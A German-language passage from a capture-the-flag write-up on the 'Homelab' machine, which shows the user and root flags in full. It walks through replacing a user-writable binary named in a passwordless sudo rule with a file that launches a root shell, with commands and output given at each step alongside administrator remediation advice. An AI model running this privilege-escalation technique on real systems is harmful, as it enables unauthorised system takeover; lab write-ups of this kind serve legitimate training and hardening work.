ls /home/: Bestätigt, dassshinosawader einzige Benutzer mit einem Home-Verzeichnis unter/homezu sein scheint.id: Bestätigt die UID (1000), GID (1000) und Gruppen (users, shinosawa) für den Benutzershinosawa.cat user.flag: Volltreffer! Die Benutzer-Flagflag{38665d1048af82499c6ecbd3c0db3acc}wurde erfolgreich im Home-Verzeichnis vonshinosawagefunden und ausgelesen.
sudo-Konfiguration.
Empfehlung (Pentester):
Nachdem die User-Flag gesichert ist, sollte der Fokus vollständig auf die Ausnutzung der sudo-Regel für /home/shinosawa/deepseek gelegt werden, um Root-Rechte zu erlangen und die Root-Flag zu finden.
Empfehlung (Admin):
Die Verwendung von /bin/ash als Standard-Shell für Benutzer ist nicht per se unsicher, aber weniger verbreitet als bash. Administratoren sollten sich der Unterschiede bewusst sein. Die Existenz einer user.flag-Datei ist spezifisch für CTF-Szenarien und hat in Produktivumgebungen keine direkte Entsprechung, aber das Prinzip, sensible Daten im Home-Verzeichnis eines Benutzers zu schützen, bleibt bestehen (korrekte Dateiberechtigungen).
Analyse:
Als Benutzer shinosawa untersuchen wir nun die Datei /home/shinosawa/deepseek, die wir gemäß der sudo -l Ausgabe mit Root-Rechten ausführen dürfen.
file deepseek: Bestimmt den Dateityp vondeepseek.ls: Listet den Inhalt des aktuellen Verzeichnisses (/home/shinosawa) auf.idundwhoami: Bestätigen erneut die Identität des aktuellen Benutzers../deepseek: Führt das Programmdeepseekals Benutzershinosawaaus. Der Benutzer gibt hier/bin/bash -pein, wahrscheinlich in der Erwartung, dassdeepseekdies als Befehl ausführt.sudo -u shinosawa ./deepseek: Führtdeepseekexplizit als Benutzershinosawamitsudoaus. Dies ist redundant, da wir bereitsshinosawasind, dient aber möglicherweise dazu, das Verhalten in einemsudo-Kontext ohne Rechteerhöhung zu testen.
deepseek: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-x86_64.so.1, BuildID[sha1]=4478f317bcb59905bbe3d317817d9f49c6c3ad5b, with debug_info, not stripped
deepseek user.flag
uid=1000(shinosawa) gid=1000(shinosawa) groups=100(users),1000(shinosawa)
shinosawa
>>> /bin/bash -p
<think>
Emm, I'm so tired and don't want to answer any^C
>>> /bin/bash -p <think> Emm, I'm so tired and don't want to answer any questions. </think> Thinking has stopped. The server is busy, please try again later.
Bewertung:
file deepseek: Zeigt, dassdeepseekein 64-Bit ELF Executable ist, dynamisch gelinkt gegenmusl-libc(typisch für Alpine Linux) und nicht gestrippt (enthält Debug-Informationen, was für Reverse Engineering nützlich sein könnte, hier aber nicht relevant ist).ls: Bestätigt, dass nurdeepseekunduser.flagim Home-Verzeichnis liegen../deepseekundsudo -u shinosawa ./deepseek: Das Programm scheint eine Art interaktive Eingabe zu erwarten (>>>). Wenn man/bin/bash -peingibt, antwortet es mit "Emm, I'm so tired..." und scheint keine Shell auszuführen. Es bricht ab oder beendet die Interaktion. Es verhält sich nicht wie ein direkter Shell-Wrapper.
deepseek selbst ist für die Privilege Escalation nicht direkt nützlich, da es unsere Eingaben nicht wie erwartet als Befehle ausführt. Die Stärke liegt darin, dass wir es durch unsere eigene Datei ersetzen können, da es in unserem Home-Verzeichnis liegt und wir es via sudo als root ausführen dürfen.
Empfehlung (Pentester):
Der Plan, deepseek durch ein eigenes Skript zu ersetzen, bleibt der richtige Weg. Das ursprüngliche Verhalten von deepseek ist für diesen Exploit-Pfad irrelevant, solange wir die Datei überschreiben können.
Empfehlung (Admin):
Die unsichere sudo-Regel ist das Hauptproblem. Selbst wenn deepseek selbst harmlos wäre, ermöglicht die Konfiguration die Ausführung einer beliebigen Datei an diesem Ort mit Root-Rechten. Programme, die mit sudo ausgeführt werden dürfen, sollten nicht durch den Benutzer modifizierbar sein, der sie ausführt.
Proof of Concept: Privilege Escalation (shinosawa zu root)
Kurzbeschreibung der Schwachstelle:
Der Benutzer shinosawa darf das Programm /home/shinosawa/deepseek mittels sudo ohne Passwort als root ausführen. Da sich die Datei deepseek im Home-Verzeichnis von shinosawa befindet, hat dieser Benutzer Schreibrechte darauf. Dies ermöglicht es, die Originaldatei durch ein eigenes Skript zu ersetzen, das beim Aufruf mit sudo eine Root-Shell startet (Path Hijacking auf die Zieldatei selbst).
Voraussetzungen:
- SSH-Zugriff als Benutzer
shinosawaauf dem Zielsystemhomelab. - Die fehlerhafte
sudo-Konfiguration, dieshinosawa ALL=(ALL) NOPASSWD: /home/shinosawa/deepseekerlaubt. - Schreibrechte im Verzeichnis
/home/shinosawa/.
Schritt-für-Schritt-Anleitung zur Ausnutzung:
1. Versuch, deepseek zu überschreiben (fehlschlagend):
Wir versuchen zunächst, die Datei deepseek direkt mit echo ash > deepseek zu überschreiben. Dies schlägt fehl ("Permission denied"), obwohl wir im eigenen Home-Verzeichnis sind. Dies könnte an speziellen Attributen der Datei liegen (z.B. immutable bit, obwohl das auf einem ELF-Executable unüblich wäre und hier nicht weiter untersucht wird) oder ein Missverständnis der Shell-Berechtigungen.
Der Versuch, die Datei mit chmod +x deepseek ausführbar zu machen, ist hier irrelevant, da das Problem das Schreiben ist.
-ash: can't create deepseek: Permission denied
-ash: can't create deepseek: Permission denied
2. Umbenennen der Originaldatei und Erstellen einer neuen `deepseek`-Datei:
Da das direkte Überschreiben fehlschlägt, benennen wir die Originaldatei deepseek zu deep um (mv deepseek deep). Dies gibt den Dateinamen deepseek frei.
Anschließend erstellen wir eine neue Datei namens deepseek mit dem Inhalt ash (echo ash > deepseek). ash ist die Shell des Benutzers shinosawa, und wenn sie als root ausgeführt wird, erhalten wir eine Root-Shell.
3. Ausführbar machen und mit `sudo` ausführen (erste Versuche fehlschlagend):
Wir versuchen, unsere neue deepseek-Datei mit sudo auszuführen. Die ersten Versuche (sudo /home/shinosawa/deepseek und sudo /home/shinosawa/deepseek -p) schlagen mit "command not found" fehl. Dies liegt daran, dass unsere neu erstellte Datei noch nicht ausführbar ist.
sudo: /home/shinosawa/deepseek: command not found
sudo: /home/shinosawa/deepseek: command not found
4. `deepseek` ausführbar machen und erfolgreiche Rechteausweitung:
Wir machen unsere neue deepseek-Datei mit chmod +x deepseek ausführbar.
Der anschließende Aufruf sudo /home/shinosawa/deepseek -p (der Parameter -p ist hier wahrscheinlich irrelevant, da unsere Datei nur ash enthält, aber aus Gewohnheit vom vorherigen Versuch übernommen) ist erfolgreich.
Wir erhalten einen neuen Prompt: /home/shinosawa #. Der # am Ende des Prompts ist ein starker Indikator für Root-Rechte.
Die Ausführung von id bestätigt dies: uid=0(root) gid=0(root) groups=0(root)....
/home/shinosawa # id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Erwartetes und erreichtes Ergebnis:
Durch das Ersetzen der Datei /home/shinosawa/deepseek durch ein Skript, das ash startet, und die anschließende Ausführung mit sudo, haben wir erfolgreich eine Shell mit Root-Rechten (UID 0) auf dem System homelab erlangt.
Risikobewertung:
Hoch. Diese Schwachstelle ermöglichte einem Benutzer mit niedrigen Rechten (shinosawa) die vollständige Übernahme des Systems mit Root-Privilegien. Ein Angreifer mit Root-Zugriff kann beliebige Befehle ausführen, Daten stehlen oder verändern, Malware installieren und das System als Ausgangspunkt für weitere Angriffe im Netzwerk nutzen.
Empfehlungen zur Behebung:
- **
sudoers-Konfiguration korrigieren:** Die Regelshinosawa ALL=(ALL) NOPASSWD: /home/shinosawa/deepseekmuss sofort entfernt oder drastisch eingeschränkt werden. Wenn der Benutzershinosawatatsächlich einen bestimmten Befehl als Root ausführen muss, sollte dieser Befehl in einem geschützten Systemverzeichnis liegen (nicht im Home-Verzeichnis des Benutzers) und diesudo-Regel sollte so spezifisch wie möglich sein (z.B. genaue Argumente vorschreiben,NOPASSWDvermeiden, wenn möglich). - **Prinzip der geringsten Rechte (Least Privilege):** Benutzern nur die minimal notwendigen Rechte gewähren.
- **Regelmäßige Überprüfung der
sudoers-Datei:** Konfigurationen sollten regelmäßig auf unsichere Einträge überprüft werden. - **Monitoring:** System-Logging sollte verdächtige
sudo-Aktivitäten erfassen.
Privilege Escalation
Analyse:
Nachdem wir im vorherigen Schritt durch Ausnutzung der fehlerhaften sudo-Konfiguration eine Root-Shell erlangt haben (bestätigt durch id mit uid=0(root)), versuchen wir nun, die Root-Flag zu finden und auszulesen. Standardmäßig befindet sich die Root-Flag oft im Home-Verzeichnis des Root-Benutzers (/root/) in einer Datei namens root.flag oder root.txt.
Wir führen den Befehl cat ~/root.flag aus. Das Tilde-Zeichen ~ expandiert in einer Root-Shell zum Home-Verzeichnis des Root-Benutzers, also /root/.
flag{e3b081b8af1c7079049b029c7cb8bd0d}
Bewertung:
Fantastisch, der Root-Zugriff war erfolgreich und wir haben unser Ziel erreicht! Die Root-Flag flag{e3b081b8af1c7079049b029c7cb8bd0d} wurde erfolgreich im Home-Verzeichnis des Root-Benutzers gefunden und ausgelesen.
Damit ist die virtuelle Maschine "Homelab" vollständig kompromittiert.
Empfehlung (Pentester):
Die Maschine ist gelöst. Es könnten noch weitere Post-Exploitation-Schritte durchgeführt werden (z.B. Suche nach weiteren sensitiven Daten, Persistenzmechanismen, etc.), aber im Rahmen eines CTFs ist das Finden der Root-Flag oft das Endziel. Alle gefundenen Schwachstellen und der Weg zur Kompromittierung sollten detailliert dokumentiert werden.
Empfehlung (Admin):
Die unsichere sudo-Konfiguration, die zu dieser Root-Kompromittierung geführt hat, muss dringend behoben werden (siehe Empfehlungen im POC-Abschnitt). Zusätzlich sollten allgemeine Härtungsmaßnahmen auf dem System durchgeführt werden, darunter:
- Regelmäßige Sicherheitsupdates für das Betriebssystem und alle installierten Anwendungen.
- Überprüfung und Härtung aller Systemkonfigurationen.
- Implementierung von Intrusion Detection/Prevention Systems (IDS/IPS).
- Starke und einzigartige Passwörter für alle Konten, idealerweise mit MFA.
- Überprüfung aller Dateiberechtigungen.